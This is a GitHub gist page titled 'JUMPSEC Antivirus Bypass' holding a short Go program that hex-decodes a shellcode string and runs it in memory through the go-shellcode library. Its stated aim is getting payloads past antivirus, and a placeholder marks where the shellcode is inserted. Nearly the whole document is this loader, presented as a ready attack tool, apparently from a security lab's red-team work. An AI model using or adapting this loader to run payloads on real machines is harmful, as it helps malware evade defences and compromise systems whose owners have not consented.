Skip to content

Instantly share code, notes, and snippets.

@JumpsecLabs JumpsecLabs/main.go
Created Jun 20, 2019

Embed
What would you like to do?
JUMPSEC Antivirus Bypass
package main
import (
"encoding/hex"
"fmt"
"os"
shellcode "github.com/brimstone/go-shellcode"
)
// This is the main.go for https://github.com/brimstone/go-shellcode/. Full code should be taken from there, and full credit to Brimstone for the fine work.
func main() {
//if len(os.Args) != 2 {
// fmt.Printf("Must have shellcode\n")
// os.Exit(1)
//}
sc :="SHELLCODE-GOES-HERE"
sc_bin, err := hex.DecodeString(sc)
if err != nil {
fmt.Printf("Error decoding arg 1: %s\n", err)
os.Exit(1)
}
shellcode.Run(sc_bin)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.